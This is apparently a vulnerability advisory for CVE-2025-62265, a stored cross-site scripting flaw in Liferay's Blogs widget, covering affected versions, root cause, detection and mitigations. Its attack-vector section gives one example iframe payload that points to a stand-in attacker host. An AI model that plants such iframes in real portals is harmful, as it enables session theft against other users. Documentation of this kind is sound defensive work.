CVE-2025-62265 Overview
CVE-2025-62265 is a stored cross-site scripting (XSS) vulnerability [CWE-79] in the Blogs widget of Liferay Portal and Liferay Digital Experience Platform (DXP). Authenticated attackers can inject a crafted <iframe> into a blog entry's Content field. The Blogs widget does not apply the sandbox attribute to <iframe> elements, allowing framed content to access the parent page through scripts and links. The flaw affects Liferay Portal 7.4.0 through 7.4.3.111 and Liferay DXP releases including 2023.Q4.0 through 2023.Q4.10, 2023.Q3.1 through 2023.Q3.8, 7.4 GA through update 92, and 7.3 GA through update 36.
Critical Impact
Authenticated attackers can execute arbitrary JavaScript in the context of other users' browsers, enabling session theft, phishing, and targeted actions against portal accounts.
Affected Products
- Liferay Portal 7.4.0 through 7.4.3.111 and older unsupported versions
- Liferay DXP 2023.Q4.0 through 2023.Q4.10 and 2023.Q3.1 through 2023.Q3.8
- Liferay DXP 7.4 GA through update 92 and 7.3 GA through update 36
Discovery Timeline
- 2025-10-30 - CVE-2025-62265 published to NVD
- 2026-06-17 - Last updated in NVD database
Technical Details for CVE-2025-62265
Vulnerability Analysis
The Blogs widget renders user-supplied HTML content, including <iframe> tags, without applying the sandbox attribute. The sandbox attribute constrains an iframe's capabilities by disabling scripts, form submission, top-level navigation, and same-origin access unless explicitly re-enabled. Without it, a framed page can invoke window.parent scripts, navigate the parent context, and interact with the surrounding portal DOM.
An attacker who can author or edit a blog entry submits a crafted <iframe> pointing to attacker-controlled content. When another user views the blog entry, the framed page executes JavaScript against the parent Liferay page. This delivers a stored XSS primitive that persists until the malicious entry is removed.
Exploitation requires low privileges (an account with permission to post blog content) and user interaction (viewing the entry). The confidentiality and integrity impact is limited to the victim's browser session and portal actions.
Root Cause
The Blogs widget's HTML sanitization allowlist permits <iframe> elements but omits the sandbox attribute. Because framed documents inherit the origin of their src, an attacker-hosted page runs in its own origin while retaining scripted access to the Liferay parent window when no sandbox restrictions apply.
Attack Vector
The attack proceeds as follows:
- An authenticated user with blog authoring permissions creates or edits an entry.
- The attacker inserts <iframe src="https://attacker.example/payload.html"> into the Content field.
- Liferay stores the markup and renders it to subsequent viewers.
- The framed page executes script that reads or manipulates the parent page, exfiltrates session state, or redirects the victim.
No verified public exploit code is available. See the Liferay Security Advisory CVE-2025-62265 for vendor detail.
Detection Methods for CVE-2025-62265
Indicators of Compromise
- Blog entries containing <iframe> tags with third-party or unexpected src domains stored in the Liferay database
- Outbound browser requests from portal users to domains that appear as src values in Blogs widget content
- Unexpected postMessage or window.parent script activity originating from framed content on blog pages
Detection Strategies
- Query the Liferay content store for BlogsEntry records whose content column contains <iframe and review the src and attribute set on each match.
- Inspect HTTP response bodies from blog rendering endpoints for <iframe> elements missing the sandbox attribute.
- Correlate content edits by low-privilege authors with subsequent anomalous session activity such as password changes, permission grants, or new API tokens.
Monitoring Recommendations
- Enable audit logging for BlogsEntry create and update events and forward the events to a centralized log platform for retention and search.
- Monitor Content Security Policy (CSP) violation reports for frame-src and script-src breaches originating from blog pages.
- Alert on outbound web traffic from portal users to newly seen domains referenced inside Liferay blog content.
How to Mitigate CVE-2025-62265
Immediate Actions Required
- Apply the fixed Liferay Portal and Liferay DXP releases identified in the Liferay Security Advisory CVE-2025-62265.
- Audit existing blog entries for <iframe> markup and remove or rewrite entries authored by untrusted accounts.
- Restrict blog authoring and publishing permissions to trusted roles until patches are deployed.
Patch Information
Liferay has published fixes through its security advisory portal. Administrators running Liferay Portal 7.4.0 through 7.4.3.111 or Liferay DXP 2023.Q4, 2023.Q3, 7.4, or 7.3 should upgrade to the vendor-designated fixed builds referenced in the advisory. Unsupported versions require migration to a supported release.
Workarounds
- Deploy a Content Security Policy that restricts frame-src to an explicit allowlist and enables frame-ancestors 'self' to constrain framing.
- Configure a web application firewall rule to strip or reject <iframe> elements in POST bodies submitted to Blogs widget endpoints for untrusted user roles.
- Extend the Liferay HTML sanitizer configuration to disallow the <iframe> element from user-generated blog content, or force the sandbox attribute during rendering.
# Example CSP header to limit iframe capabilities on Liferay blog pages
Content-Security-Policy: default-src 'self'; \
script-src 'self'; \
frame-src 'self' https://trusted-embed.example; \
frame-ancestors 'self'; \
report-uri /csp-report
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
